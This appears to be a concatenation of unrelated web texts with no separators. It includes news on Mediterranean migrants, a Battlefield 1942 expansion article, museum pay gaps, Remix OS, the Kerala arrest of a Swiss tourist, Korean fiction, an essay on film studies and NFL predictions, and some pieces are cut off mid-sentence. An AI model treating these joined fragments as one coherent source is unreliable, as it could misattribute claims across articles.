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The NIA contended that Purohit floated the trust with the objective of seeking revenge against Muslims in retaliation against terrorist attacks by banned Islamist outfits and eventually setting up a Hindu Rashtra by the name of Aryawart in India.TARIFA, Spain — The southern tip of Spain is barely nine miles from the coast of Morocco, a distance so tantalizingly close that African migrants trying to reach Europe can see the Continent from the Moroccan shoreline.
To actually reach Europe is not so simple, yet they come anyway.
For months now, a rising number of migrants have been daring the waters of the Mediterranean. And the Spanish police and boat captains say many asylum seekers have become so desperate that they are trying to reach Europe on flimsy rubber dinghies. So many migrants are now traveling by dinghies that the price for a modest one can reach $680 in Morocco, compared with only $109 in Spain.
“Some people will clearly risk death to reach Europe,” said Israel Díaz Aragón, who captains one of the boats of Spain’s maritime rescue services. “It has been a very busy summer, because we’re now also rescuing Africans who not only cross in a toy boat but haven’t even spent money on buying proper oars.”
The danger of migration in the Mediterranean became evident again on Thursday when a boat of African migrants capsized near the Italian island of Lampedusa. At least 111 people died and more than 200 people are still believed missing.Battlefield 1942: Secret Weapons of WWII is the second of two expansions to the World War II first-person shooter computer game Battlefield 1942.[2] It was released for Microsoft Windows on 4 September 2003 in North America and 5 September 2003 in Europe. It was also released for Mac OS X on 25 October 2004.[1]
Secret Weapons of WWII brings many new features to the original game, such as new weapons, vehicles, battles, factions, and a new gameplay mode that focuses on fulfilling objectives more than destroying the enemy army.[2] These new features help to bring variety to its predecessor's gameplay without overhauling the series.[3] For example, while an Allied engineer may still maintain his original role as being able to repair vehicles, his long-ranged rifle has been replaced with a shotgun, which is effective at short distances.[4]
Gameplay [ edit ]
A screenshot of the jet pack.
As in Battlefield 1942, players play the role of a soldier in a two-sided battle and can choose which weapons and/or vehicles they want to use in accomplishing this task of victory on the battlefield. Usually, the team that works together more effectively wins by reducing the enemies tickets to zero in a classic "Conquest" mode. (A team loses tickets when its members are killed, but also when the other team holds a majority of the capture points on a map.) Even more so than in Battlefield 1942, the weapons in Secret Weapons of WWII are designed to be used in unison with other weapons in order to compensate for weaknesses and maximize strengths.[4]
A gameplay mode introduced in Secret Weapons of WWII is an objective-based mode in which players focus on accomplishing specific objectives in order to win the battle. For example, on Essen, the German forces must prevent Allied forces from destroying key portions of a weapons factory. If the Allied forces successfully fulfill these objectives, the German tickets are drastically reduced, usually winning the game for the Allies.[5]
The default Allied (US) Army and Axis (German) Army have received new weapons and vehicles in addition to the creation of two entirely new factions, the SAS (British Commandos) and the German Elite Troops (the Waffen-SS and the Fallschirmjager). The accompanying update package 1.41 introduces an additional three new factions, USMC, RAF, and Luftwaffe. Each faction has unique weapons to their faction that can only be obtained by playing as that faction or picking them off a fallen enemy soldier. They also have unique vehicles that are only available at their bases. Even with the creation of these new factions, all the maps in the expansion pack are Axis versus Allies, as is the custom in the Battlefield series.[4][6]
Also of special note is the Jet Pack, which allows players to fly in the air while firing a weapon. In order to maintain gameplay balance, the Jet Pack is very susceptible to blowing up while under fire, instantly killing the player. As opposed to other weapons, the Jet Pack is not unique to one faction, and instead, it can be found at one or more locations throughout a particular map as an item that replaces the player's current equipment.[4] However, there are only four maps which have the Jet Pack in them.[7]
Development [ edit ]
The expansion pack was officially announced at E3 2003; although, there was significant speculation preceding the announcement that Electronic Arts was making a second expansion pack to Battlefield 1942.[8][9] Nearly six months later Battlefield 1942: Secret Weapons of WWII began to be sold at stores for thirty dollars, ten dollars more than the originally conceived twenty dollar price tag. This sometimes negatively affected reviews.[10]
Reception [ edit ]
Battlefield 1942: Secret Weapons of WWII received "generally favorable reviews", albeit less than the original Battlefield 1942 or The Road to Rome, according to the review aggregation website Metacritic.[11]
Almost all reviews reflected positively on the amount of variety added to the game without turning players off from the original draw of the series. GameSpy listed as a pro that it had "lots of fun new vehicles; some outstanding new maps."[16] GameSpot said that "its additions are extremely enjoyable to play around with and, in some cases, really change the gameplay of the original in new and intriguing ways."[10] IGN noted that "the new super weapons are brilliantly incorporated in to the gameplay."[3]
Criticisms included that the proportion of content to retail price was too low. In GameSpot's review of the game, it claimed, "considering how much it retails for, it probably could have offered more."[10] GameSpy listed as the con that "some of the maps are clunkers; $30 is too much for the limited content here."[16] Also, some critics disliked the fanciful nature of many of the new weapons and vehicles introduced by the expansion. IGN summarized its reaction in its review of the game: "Secret Weapons of WWII, while based in historical equipment and encounters, nevertheless offers up a steroid-enhanced version of the regular game with plenty of new weapons that were on the cutting edge of technology (or merely on the drawing board) at the close of the Second World War. For some players this extra touch of Hollywood seems a bit out of place relative to the previous games."[3]
The editors of Computer Gaming World presented Secret Weapons of WWII with their 2003 "Expansion Pack of the Year" award. They wrote, "It's good to see that the folks at Digital Illusions didn't rest on their laurels when putting together this add-on."[20]11 January 2017 | stratmandude
9 | Much better than the current 3.4 rating.
I saw the original Death race 2000 back in 1977, My Dad was one of the first people to get HBO back then and he let me stay up and watch Blazing saddles with him, He fell asleep then Death race 2000 came on. An R rated movie, I was 11. I loved it. the other death race sequels got it all wrong, the original was a cult B movie with a very dark sense of humor. the two sequels that followed were bad action movies.
If you liked the original Death race 2000, you will love this movie. It is as if no time has passed. It captures the same feeling and has the same wacky humor and blood and guts as the original. this is destined to be another cult classic as it was Intended to be. The acting was better than I expected. it has good cast of characters. It starts off slow but about 20 minutes in I was hooked.Women run just a quarter of the biggest art museums in the United States and Canada, and they earn about a third less than their male counterparts, according to a report released on Friday by the Association of Art Museum Directors, a professional organization.
The group examined salary data on the 217 members it had last year through the prism of gender, for the first time. The report noted strides made by women at small and midsize museums, with budgets under $15 million, often university or contemporary-art institutions. Here, women have basically achieved parity, holding nearly half of the directorships and earning just about the same as men. But the gap is glaring at big institutions, those with budgets over $15 million: Only 24 percent are led by women, and they make 29 percent less than their male peers.
And just five of the 33 most prominent art museums — those with budgets greater than $20 million — have women at the helm.
Image Olga Viso of the Walker Art Center. Credit Alexander Tamargo/Getty Images for Design Miami
“There is a difference if a woman is running one of these big museums,” said Elizabeth Easton, director of the Center for Curatorial Leadership, a training program in New York that has helped place nine women in directorships, but none at the country’s most influential museums. “Those directors are the most loud and authoritative voices. It sets the tone.”Jide Pulling the Plug on Remix OS as it Focuses on Enterprise Markets
Remix OS, the Android-based operating system that looked and functioned like a desktop client, is being discontinued.
Jide (the company behind Remix OS) published a message on their official website and social media channels announcing the news, and according to that message, the decision was made as a result of Jide moving away from the consumer market in favor of the enterprise one.
“Over the past year, we received an increasing number of inquiries from enterprises in various industries, and began helping them build great tools for their organizations by leveraging Jide software and hardware. We see huge potential in the role that Jide can play to revolutionize how these businesses operate. And given our existing resources, we decided to focus our company efforts solely on the enterprise space moving forward.”
Consequently, all current development for Remix OS on the PC will be discontinued indefinitely.
Jide’s most recent consumer product was a media box/mini PC/gaming console called the Remix IO that started accepting funding on Kickstarter last November. Remix IO had yet to ship out to folks that chipped in during the campaign, and Jide reports that both backers of the product and people that purchased Remix IO directly from the company’s website will be refunded starting on August 15.
The first Remix OS product that Jide created was the Remix Ultratablet in 2014. This was then followed up by the Remix Mini PC in 2015, and then last year’s Remix IO. In addition to this, there are builds of Remix OS for the Pixel C, Nexus 9, Nexus 10, and a host of other Android and Windows tablets.
Jide wasn’t exactly clear as to whether or not it would continue to provide support for its existing hardware (Remix Ultratablet and Remix Mini), but seeing as how the company is essentially abandoning the consumer market in favor of enterprise solutions, we wouldn’t be surprised if this was dropped as well.
Lastly, Jide ended its message to its fans with the following:(CNN) What do Democrats really want from special counsel Robert Mueller's investigation?
It's a simple enough question, but the answers can be complicated and conflicting. The most obvious, and prevalent, would be the "smoking gun" -- proof positive that President Donald Trump personally negotiated or signed off on the terms of Moscow's meddling in the 2016 election.
The reality, of course, is that Mueller is unlikely to turn up anything quite so bold. And even if he did, Trump and his loyalists are unlikely to throw up their hands, pack their bags and hand over the White House keys. Republicans in Congress have done nothing to suggest they would press the matter. Democrats know this, so they seem to be pursuing a milder, and perhaps wiser, course.
As Mueller escalated on Monday, indicting Trump's former campaign boss and one of his deputies, while also revealing he'd made a "proactive cooperator" out of a foreign policy adviser to the campaign, Democrats mostly kept their heads down. Rather than focus on Trump and Paul Manafort, they sought to fortify the special counsel's mandate.
Statements from top Democratic officials in Washington suggested the party line is, at the highest levels, focused on putting the process ahead of the politics -- to reinforce the guardrails rather than try to map out the road ahead.
Read MoreJapan is famous for its vending machines but what’s fascinating about them is not just the sheer number that exist in the country, nor even their variety (everything from drinks to food, newspaper, toys, and used panties — and everything in between).
It’s how the technology behind them keeps on evolving.
From vending machines with solar panels to touch-panel vendors that can sense the demographic of the customer and suggest drinks on the display, there are always new things that can be added to the functionality and user experience.
Some are more practical than others. We’re not sure if this new development will become a fixture, but we like it nonetheless.
Kotaku reports that Kirin will release a “selfie vending machine”. Fitted with a large LCD display and camera, the idea is you take a free selfie of yourself against a range of backgrounds, which then connects to Line so you can share it with friends.
Selfies, known as jidori in Japanese, are popular locally, not least because it is similar to the long-established activity of purikura (literally, “print club”), photo booths that allow you to take inventive selfies with your friends and then decorate and customize the images.
In fact, this “selfie vending machine” is more like a “purikura vending machine” in spirit, since you aren’t holding the vendor in your actual hands!
Of course, there are lots of implications and potential for usage here, from branded backgrounds to localized digital content right there in images with you. You could take a selfie with a local regional mascot or historical hero, for example, since vending machines are nearly always found at major tourist locations. And when it’s not being used for selfies, the display can also show ads, local information, emergency alerts, and so on.
Look out for the vending machines across Japan from this month. In a nice touch for tourists, there will also be English, Chinese, and Korean interface options.Feb 22, 2017-
Indian Cabinet on Wednesday approved investment proposal to build 900 MW Arun 3 Hydropower Project in Nepal. The Cabinet meeting held on Monday morning approved the proposal worth IRs 57.32 billion put forth by SJVN Limited, a central public sector enterprise of India.
“Once again demonstrating our commitment to promote clean and renewable energy in India and in subcontinent around India, the Cabinet has approved the investment proposal,” said Indian Power Minister Piyush Goyal briefing the media about the Cabinet decision.
SJVN Arun-3 Power Development Company Limited (SAPDC) registered in Nepal as wholly owned subsidiary of SJVN is developing the hydropower.
On November 24, 2014, Investment Board Nepal (IBN) and SAPDC had signed the PDA for the development of the project. The project is the peaking-run-of-the-river with 70 meter high concrete gravity dam and headrace tunnel of 11.74 km with an underground power house containing four generating units of 225 MW each.
Published: 22-02-2017 14:43Film Studies For Free: A Model for the Future
Generally, film studies is understood as a humanities-based academic discipline that deals with theoretical, historical, and critical approaches to cinema. Since its establishment as a proper field of study in American universities in the 1970s, it has grown to become one of the more popular fields within the humanities as well as within the university system at large. Despite the fact that film, video, and photographic arts is consistently listed as one of the 10 worst-paying college majors (at least in the United States), prospective students still express a desire to study the cinema.
In my conversations last year with British scholar Christine Gledhill, she spoke of a consensus that film studies is a more “respected” discipline in the United States than the United Kingdom. There are perhaps a number of reasons why and I’m not well-versed in British culture to postulate, but it might be appropriate to note that there is a global film studies community, and some of its members, like Gledhill, Thomas Elsaesser, and Slavoj Žižek, are among the field’s superstar scholars. Moreover, interested students are enrolling in these departments from all over the world (a number of them write for this magazine), which suggests that film studies will remain a popular field of study for undergraduates as well as aspiring academics, regardless of declining job prospects and promised low pay.
However, despite persistent interest in film studies by both students and professional academics, major issues threaten the field and must be addressed if we don’t want film studies to diminish into an outmoded and irrelevant discipline. The purpose of this study is to call attention to these issues in an attempt to restore film studies as an important intellectual pursuit. The two specific issues on which I will focus are ideologically interrelated but remain distinct practices: academic writing and academic publishing. While I don’t claim to offer any definitive resolutions to these problems, I will offer a few suggestions that present an alternative model for future thinkers.
Academic writing can be understood as published material that is produced by professional scholars, most often professors or researchers, in an attempt to contribute information to a field of knowledge. In film studies, academic writing can refer to the industry studies by Tino Balio, the theoretical articulations by D.N. Rodowick, or the special interest anthologies by Christine Gledhill. The only thing that unites these distinct works of scholarship is the author’s intention to contribute to the academic discipline of film studies.
This brings us to the major problem that plagues academic writing. In order to contribute to the discipline, there is a sense that an academic must write for those within the discipline. It doesn’t take long for one to realize that academia is an isolated community, and that academics are merely producing work for one another. Consider, for instance, the concept of peer review. In order to get an essay published in an academic journal, it must be approved by anonymous “peers” with a film studies background. Then there is the conference presentation, which is simply an excuse for academics to engage in debates with each other.
In his book Film Theory: An Introduction, Robert Stam suggests that film studies needed to appropriate high semiotic and psychoanalytic theories in order to establish itself as a “worthy” academic discipline in the U.S. This is a complicated issue, of course, but it stems from the academy’s initial view that film was not a legitimate field of study because it is mass cultural entertainment. Why study Disney, for instance, when you can study Joyce or Michelangelo? The view, at the time, was that nothing intellectually substantial could be gleaned from popular entertainment, because popular entertainment is not art. Thus, scholars began to use high theory to explain the cinematic apparatus, thereby demonstrating the intellectual rigor of the film studies community.
Stam is correct to point out that the discipline has evolved since its emergence, with the most notable change being the turn away from semiotics and psychoanalysis to cultural studies and an emphasis on historiography. This turn was much needed, because it gave scholars room to explore issues that are relevant to the realities of everyday existence, such as audience relations, industry practices, and media effects. However, the turn from Lacan to Hall only altered the content of the writing, while the approach and intended audience remains the same.
So why is academic writing problematic, and how can we fix it?
For one, academics need to consider writing for a wider audience. Although I don’t have empirical evidence to support this claim, the proliferation of film blogs, message boards, and other online communities suggests that curious individuals outside of academia are interested in film studies. They would find the work of academics useful, but unfortunately academic writing is littered with jargon to the point where only other academics can comprehend it. When this happens, there is a general assumption that the problem lies with the ordinary reader who simply isn’t smart enough to “get it.” Academics often hide behind this misguided belief, and they use the lack of public interest in their published material as an example to support such condescending claims. Might it be, however, that academic writing isn’t widely read because academics have constructed an alternative vernacular that only a reader with a knowledge of the terminology can understand? If academics wrote for a general audience, wouldn’t they find that the mass public is also interested in their ideas?
The blogs of David Bordwell and Henry Jenkins exemplify academics who attempt to reach individuals outside of their respective fields. Like many writers for this online publication and others like it, Bordwell and Jenkins bridge the gap between academic and popular writing as they engage in debates about issues relevant to the humanities and social sciences in vernacular that is accessible to a wide readership.
This is one way to remedy the problem. Scholars tend to think that they have to abandon high theories of Foucault or Gramsci in order to appeal to a mass audience, but really they just have to explain the theories in a way that general readers can understand without having had to write a book about the subject themselves. Moreover, they might be wise to do what writers on this website often do, and evoke the ideas of Foucault or Gramsci without bogging the discussion down in academic terminology. Surely we can discuss the ideas of “cultural hegemony” without writing the term, and surely Gramsci wouldn’t mind if we did this.
It is at this point where we might want to rethink the purpose of academic writing in general, as this can then bring us to the issue of academic publishing. That is, why do academics write in the first place?
Such a question may sound trite, but it bears mentioning. After all, my initial thought of academia after being immersed in it for a few years is that academics, for the most part, are writing for two reasons: to advance their careers and to discuss ideas with like-minded peers. There are exceptions, but most film studies scholars aren’t really concerned with the general public’s conception of their published material. They are more concerned with getting tenure and impressing the superstars within the field.
Above all else, however, academic writing should exist to contribute ideas not merely to a specific field of study but to humanity at large. The emphasis on publishing and tenure-track has given rise to a plethora of inconsequential scholarship that exists purely to fill in a gap that didn’t need to be filled in the first place. Some of the most well-regarded scholars are currently engaged in debates about concepts so far removed from reality that they might as well be speaking gibberish, and aspiring scholars follow in their path in an attempt to be noticed and advance their careers. Not to undermine the scholarly focus of any academic’s career, but does it really matter whether or not we stop using the term “classical Hollywood cinema”? Can’t we still talk about Hollywood without engaging in debates over proper linguistic classifications? If film studies is to remain relevant, it needs to change course.
Academic publishing is similarly in a crisis, and a few scholars have offered alternative models that have the potential to solve the problem. The issue, precisely, is that the majority of film studies scholarship isn’t open to the public. That is, in order to access it, one realistically needs to be enrolled in a university in which one can log on to the databases and research the latest publications. For instance, when I was in between undergraduate and graduate programs, I wanted to conduct research for a writing sample I wanted to submit with my graduate school applications. In order to do this, however, I needed access to a number of scholarly publications, and in order to gain access, I needed a university database. If you aren’t enrolled in a university, however, you don’t have access to a database, and the ability to conduct substantial research is severely hindered. It might be possible, but it becomes more costly and inconvenient.
Why does this happen? For one, scholarship is protected by copyright, and closed access ensures less plagiarism and other so-called intellectual property theft. In addition, the university is a business above all else, and if it protects its precious scholarship, it will make more money in the long term. Not only is academic writing often deliberately difficult to decipher with its jargon and terminology, it also is difficult to access. The general, curious reader who isn’t an academic is thus isolated from the community and forced to accept his or her status as an ordinary commoner.
A few scholars, however, have tried to change this. Catherine Grant, for example, developed the blog “Film Studies For Free” that is described as “a pluralist, pro bono, and purely positive web-archive of examples of, links to, and comment on, online, Open Access, film and moving image studies resources of note.” Not only is this a valuable resource for curious individuals who aren’t connected to university databases, but it also serves as a model for how to circulate scholarship. Grant calls the reader’s attention to published scholarly material that can be accessed by anyone, thereby eradicating the established relationship between ordinary individual and expert academic.
These problems won’t easily be solved since professional academics still need to make a living, and since publishers, universities, and the like still need to profit to function. However, film studies is a fascinating, engaging, and popular academic discipline, and websites like The Artifice prove that individuals outside of academia are interested in exploring cinema and its many facets. By closing its doors to those who aren’t in the academy, film studies runs the risk of losing its relevance. To be sure, there are countless scholars who would prefer to work within an isolated field, and there are numerous fields to where they can turn their attention, but film studies doesn’t have to follow in that path.
If cinema is indeed the first mass cultural entertainment, then it only makes sense to direct its scholarship to the masses.
What do you think?.Dear Reader, As you can imagine, more people are reading The Jerusalem Post than ever before. Nevertheless, traditional business models are no longer sustainable and high-quality publications, like ours, are being forced to look for new ways to keep going. Unlike many other news organizations, we have not put up a paywall. We want to keep our journalism open and accessible and be able to keep providing you with news and analysis from the frontlines of Israel, the Middle East and the Jewish World.
A 13-year-old Israeli student was turned down by a retired Jewish Cambridge University researcher after reaching out for help on a school assignment.
Shachar Rabinovitz, a horse enthusiast from a kibbutz in northern Israel, sent an email to Dr. Marsha Levine, a Cambridge-educated academic and an expert on horse domestication.
Rabinovitz asked for help on an assignment relevant to Levine’s field.“I’m from Israel,” her e-mail began. “I’m doing an assessment for school about horses, and it will be great if you can answer a few questions that I will ask.”Instead of receiving answers to her questions, Rabinovitz was met with criticism over the plight of Palestinians in Israel.“I’ll answer your questions when there is peace and justice for Palestinians in Palestine,” Levine wrote.She explained that she is a member of the organization Jews for Justice for Palestinians, and a supporter of the Boycott, Divestment and Sanctions movement.“You might be a child, but if you are old enough to write to me, you are old enough to learn about Israeli history and how it has impacted the lives of Palestinian people,” Levine wrote.She included a link to the pro-Palestinian organization’s website, urging Rabinovitz to educate herself about Palestinian history.Levine later told The Telegraph that if a student from a country other than Israel had reached out to her, she would have responded differently.“Kids have questions, I usually answer their questions,” she said. “But I have agreed to BDS, and I do want to see justice for Palestine,” she told the UK daily.“In Israel, the majority of Israelis support the policies of the government which abuses the rights of Palestinians, so the fact is, I |
] Animal Rights: Current Debates and New Directions, Edited by Cass R. Sunstein and Martha C. Nussbaum, p. 254
[5] Animal Rights: Current Debates and New Directions, Edited by Cass R. Sunstein and Martha C. Nussbaum, p. 220Jonathan with a friend. (File)
On Friday, a 24-year-old Swiss tourist left Kerala with unforgettable memories of nearly six months spent in ‘God’s Own Country’. So unforgettable, that he now plans to file a case for compensation to make up for those months.
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The story of Jonathan Baud has to be read to be believed — jail, bail, court, July 28-December 2, and the release.
And all this for spending a few minutes at a public meeting held near Thrissur in memory of a suspected Maoist who died in June. On the insistence of the organisers, who found a foreign face there a novelty, Baud also said a few words at the meeting: “Thank you for welcoming me, I appreciate the democracy in your country.’’ He was arrested minutes later, as he was walking towards a bus stop.
As the Kerala High Court observed last week, while quashing the chargesheet against Baud, “No doubt, continuance of this prosecution will be a sheer abuse of the legal process.”
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And this is what Baud had to say, before he boarded the flight to Geneva: “Hearing my case and other cases, I feel India’s judiciary is fair. The questions the judge posed to the prosecution made me hopeful about a positive outcome.”
Contrary to what you’d expect, Baud wants to return some day. “If I don’t come back, that means the police have succeeded in driving fear into me,” he said.
His advocates, meanwhile, have confirmed that Baud would seek compensation for losing out on a semester of his International Economic History course at Paul Bairoch Institute of Economic History in Geneva. Then, there’s the mental trauma and financial loss due to a “baseless case”, and a possible appeal to the National Human Rights Commission.
The local police had tried to make a case by highlighting Baud’s self-avowed Marxist leanings and some research papers found in his possession. They also played a video of him at the function. But at the High Court, Justice P Ubaid was firm: “The prosecution does not have a clear or definite case.’’
Ironically, that video ended up working in Baud’s favour — while police said he was at the function for 15 minutes, the clipping was of just two minutes.
As Baud summed it up: “I could not find any reason why I was jailed.”
Jonathan Baud arrived in India with his friend Valerie on July 1, with a visa valid till September, and the two reached Kerala nine days later.
On July 26, while in Kozhikode, Baud came across a newspaper report about a public meeting to be held two days later in memory of Sinoj at Triprayar, near Thrissur. According to police, Sinoj was killed in a blast on June 16 at a Maoist training camp in the forests of Andhra Pradesh.
Curious to know more, Baud decided to attend the event, and subsequently spoke his two-line piece.
What followed, Baud said, was “sheer abuse of power by police.’’
He was taken to the Valappad police station in Thrissur, and grilled by officials of Kerala police, State Intelligence and Intelligence Bureau.
“I was taken into custody at 5 pm. The police continued to question me until 1 am without allowing me to even contact my friend or anyone else,’’ Baud alleged.
“About ten officials repeatedly questioned me, asking about my links with Maoists. I told them I was innocent and not connected with the Maoist movement at all. However, they kept saying that I was a foreign agitator brought to Kerala by the organisers of the meeting. I showed them a copy of my passport and bus tickets. But they did not believe me,’’ he said.
Soon, Baud came to know that he had been detained under Section 14(b) of the Foreigners Act, which pertains to violation of visa conditions, and remanded to judicial custody for 14 days. From a sub-jail in Irinjalakkuda, he was shifted to the central jail in Thrissur.
“I wept in jail and refused to meet anyone, including my friend,’’ Baud recalled.
Police questioned him again, this time with the help of a French translator. On August 7, he was released on bail by High Court, with the condition that the Swiss Embassy would furnish an undertaking that it would produce him for further proceedings, either in court or before police.
However, Baud’s lawyers, P Raveendranath and Sukumar V Oommen, claimed that Swiss Embassy officials failed to provide such an undertaking, telling them that such an act went against their country’s constitution.
According to the lawyers, they took care of Baud thereafter, helping him find a shelter in Kochi while their petition for quashing the case was being heard.
Meanwhile, Baud’s friends in Geneva started raising funds to fight his case because his parents — his father is a social worker and mother a school teacher — could not shoulder the burden alone. Baud’s mother even came to Kochi once to support her son.
According to Raveendranath, what really helped Baud in court were these facts: the meeting he attended had not been banned, and there was no case against the organisers — only the Swiss tourist was caught. As evidence, police even produced a poster about the meeting — in Malayalam — but did not book the person who wrote it.
Also, among the 61 “objects”, or documents, that were produced to substantiate the case, there was little to link Baud to Maoism — a major chunk comprised his personal belongings and literature about Marxism. There was also nothing to show that Baud was a radical or a member of any radical group in India or abroad.
As Justice Ubaid ruled: “The D-G of Prosecutions repeatedly argued that attending a meeting itself amounts to violation of visa conditions. I find no such rule prohibiting the alleged act of attending a meeting.’’
He added: “Tourists visiting Kerala can see different meetings organised by political or other groups. They cannot identify whether a meeting is organised by political, or communal or radical groups. They, out of curiosity, may just step in and view such meetings. If that is understood as a violation of visa condition, every tourist visiting Kerala will have to be prosecuted.’’
As for the video clipping, Justice Ubaid said, “What is made available to the court does not contain anything objectionable. I fail to understand on what material or on what basis police suspected that he is a radical.’’
At the end of it all, as Baud flew out on an exit permit granted by the Bureau of Immigration, N Vijayakumar, SP, Thrissur Rural, admitted that he was unable to explain why the prosecution failed.
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\”We don’t know why the court was not convinced about the case. The Maoist threat has to be tackled effectively. Police have acted according to what we had learned. The court can interpret the law in different ways. Yet, we would go by what the court says,’’ he said.LIFE&STYLE
If you’re reading a novel from Korea’s best-seller lists now, chances are that it’s not written by a local author.In this country, with a rising global cultural profile and an ambition to rise even further, fiction, the ultimate art of storytelling, is fading. Or more precisely, the serious, high-caliber, literary fiction that Koreans refer to as “pure” literature is fading.Local readers’ appetite for homegrown novels is dwindling amid a fundamental decline in an interest in books, while writers are failing to produce stories that re-engage them, experts say.Signs of a crisis are hard to miss, starting from the best-seller lists.“Korean fiction is rare to spot in the best-seller section this year,” said Kim Hyun-jeong, a spokesperson for Kyobo Bookstore, the country’s largest bookseller.At Kyobo, sales of Korean novels -- whether literary or commercial -- have dropped 28 percent so far this year from the same period in 2014, she revealed.A look at last week’s top-20 book list, compiled by the local publishers’ association, shows what Koreans are reading now: Swedish sensation Fredrik Backman’s “A Man Called Ove”; Harper Lee’s “Mockingbird” sequel “Go Set a Watchman”; Japanese thriller stalwart Keigo Higashino’s “The Miracle in the Grocery Store”; and Andy Weir’s “Martian,” to name a few.The sole Korean fiction in the best-seller territory is Kim Jin-myung’s “Letter War,” released in July this year, holding the No. 5 spot in the ranking that encompasses both fiction and nonfiction. Before Kim’s book, which local critics consider “not literary enough,” the weekly tally had not had a Korean fiction entry for several months.“Korean readers, who once found it difficult to relate to translated works, appear to be enjoying them more, thanks to their increased understanding of foreign cultures, as seen in the popularity of U.S. TV dramas here, as well as the burgeoning rank of qualified translators,” explained Lee Kyeong-jae, professor of Korean Literature at Soongsil University in Seoul.Korean fiction’s poor performance this year is also attributed to the absence of new releases from the country’s top-selling novelists such as Shin Kyung-sook, Gong Ji-young and Hwang Sok-yong.What’s ironic is that while Korean fiction is losing its appeal for contemporary Koreans, the world is beginning to recognize the depth and richness of Korea’s literary tradition, as seen at last year’s London Book Fair, where Korea took center stage.In 2011, novelist Shin brought hopes of Korean fiction’s global breakthrough, with her first English-translated novel “Please Look After Mom” becoming a New York Times best seller. Her achievement lost shine in June this year, however, after she admitted to plagiarism in her earlier work. The plagiarism case, raised by a fellow Korean novelist, led to a heated debate on how Korea’s literary world is shaped by those with vested power, namely major publishing houses and literary stalwarts like Shin that they represent.To Lee O-young, a renowned writer-critic who served as the country’s first culture minister, Korean fiction’s humble standing today, in spite of its proud tradition, is because of its failure to adapt to the changing times, or the changes in the Korean psyche.“Literature, in the past, was not mere literature. It (in its own way) confronted the military dictatorship, as the container of the voices of that time,” he said in a recent interview.Today’s readers are not living under Japanese occupation, the Korean War or the democratic uprisings of the ’80s. “They have different desires. Literature now is failing to respond to them,” he said.Some say the reason for this Korean problem is more universal. They say the crisis of literary fiction, as compared to commercial or genre fiction, is not a phenomenon confined to Korea, as the audience in this digital age lean toward “light” reading.In fact, outside the “pure" literature territory in Korea, writers of thriller, romance or sci-fi genres have been gaining ground in recent years, utilizing emerging platforms such as e-books and Web novels -- characterized by serial publishing on the Internet or mobile phone platforms. New generations of high-caliber writers are emerging as well, crossing the line between “pure” and commercial fictions, although their major breakthrough is yet to come.“If you look at foreign fiction titles that are selling well in Korea, they often fall in between literary and genre fiction. They have that commercial appeal of genre fiction, without sacrificing the depth and style of a literary work,” said Suh Young-in, a literary critic.By Lee Sun-youngPeople often compare China’s urbanization to Western industrialization in the 19th century. In both cases, a large population moved from the country to the city. Society advanced from agricultural to industrial via manufacturing on a massive scale.
However, there is a key misconception about China’s manufacturing power.
In the United States and Europe, the manufacturing industry was created due to technology innovation. For example, railways came into existence because of the invention of the steam engine and automobiles were created because of technology breakthroughs in automobile engines.
In China, the manufacturing industry is being created in response to global demand. Chinese manufacturers take orders from Western companies that have designed products for their home markets. They have no involvement with product development, innovation, market research and even packaging. Chinese manufacturers have no experience in bringing their own products to overseas markets.
Unlike the manufacturing industry in the West that gave birth to a middle class of both white-collar and blue-collar workers, manufacturers in China mostly absorb surplus labor from rural areas with few skills. Those rural migrant workers live in dormitories, earn very low incomes (about $100 to $200 a month) and hardly fit into the category of the middle class.
While people in the West fear China as a global manufacturing powerhouse, the Chinese consider their manufacturers to be the sweatshops for the world and see themselves as being in a disadvantageous position.
Contrary to the conventional view, manufacturing in the U. S. has been growing in the past two decades despite the decline in manufacturing jobs. The latest data show that the United States is still the largest manufacturer in the world. In 2008, U.S. manufacturing output was $1.8 trillion, compared to $1.4 trillion in China. This means that the United States is producing goods with higher value, such as airplanes and medical equipment.
In addition, most jobs the U. S. lost to China are low-skilled jobs. By outsourcing those low-skilled jobs to China, Americans have actually become more competitive in high-skilled jobs such as management, innovation and marketing. The low-skilled jobs also serve China well as Chinese rural migrants have opportunities to move up in life and gain some skills.
The results are mutually beneficial. On one side of the globe, hundreds of millions of Chinese rural migrant workers earn more and have a higher standard of living; their children have more training, which leads to more growth. On the other side of the globe, Western consumers are able to afford goods at lower prices and enjoy lower inflation.
For more, see Myth of China's Manufacturing Prowess.In yet another instance of men in khaki being assaulted, three police officers Sunday were beaten up with iron rods and swords. Four persons allegedly assaulted three police officers with iron rods and swords in Bharatiya Kamala Nagar in Wadala East on Sunday. All four accused are on the run and Wadala police are looking for them.
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According to the police, the accused, Faisal (19), Fayaaz (28), Sadiq (21) and Bunny (50), allegedly attacked Sandeep Govind Mane, police sub-inspector at Wadala TT police station, with iron rods and sword, injuring his head and right hand. Two other police officers were also injured in the incident.
“The accused are anti-social elements and were beating up a few people in the locality. The incident happened around 3 pm when police officers had gone to the locality to help a complainant,” said Sushil Prabhu Kumble, senior police inspector at Wadala TT station.
The accused attacked the officers and even threatened the locals. According to Wadala police, one of the accused has a prior criminal record related to assault. A police walkie-talkie was also damaged on the incident. The injured officers were treated at Sion hospital.Getty Images
I’ve delayed as long as possible the annual PFT Super Bowl picks, in large part because I have been changing my mind every day.
Since the season starts tomorrow, I can delay it no longer. (Yeah, I know I could milk it for another day, but I promised the powers-that-be that it would be posted today.)
History tells us that the Super Bowl opponents usually consist of one team everyone expected to be there, and one team that no one took seriously. That happened last year, when the Pats made it from the AFC (four of the five PFT writers picked them to make it — and of course I was the only one who didn’t) and the Giants made it from the NFC (no one from PFT saw that one coming, and few if any non-Giants fans elsewhere did).
So here’s the writer-by-writer prediction of the playoff seeds and playoff tree and Super Bowl outcome. Mine’s last because that gave me as much time as possible to change my mind. Again.
Josh Alper
AFC
Seeds: 1. Patriots; 2. Texans; 3. Ravens; 4. Chiefs; 5. Steelers; 6. Titans.
Wild card round: Ravens over Titans, Steelers over Chiefs.
Divisional round: Pats over Steelers, Texans over Ravens.
Conference championship: Patriots over Texans.
NFC
Seeds: 1. 49ers; 2. Packers; 3. Falcons; 4. Giants; 5. Bears; 6. Eagles.
Wild card round: Bears over Giants, Eagles over Falcons.
Divisional round: Packers over Bears, 49ers over Eagles.
Conference championship: Packers over 49ers.
Super Bowl: Patriots over Packers.
Darin Gantt
AFC
Seeds: 1. Texans; 2. Ravens; 3. Patriots; 4. Broncos; 5. Steelers; 6. Bills.
Wild-card round: Patriots over Bills, Broncos over Steelers.
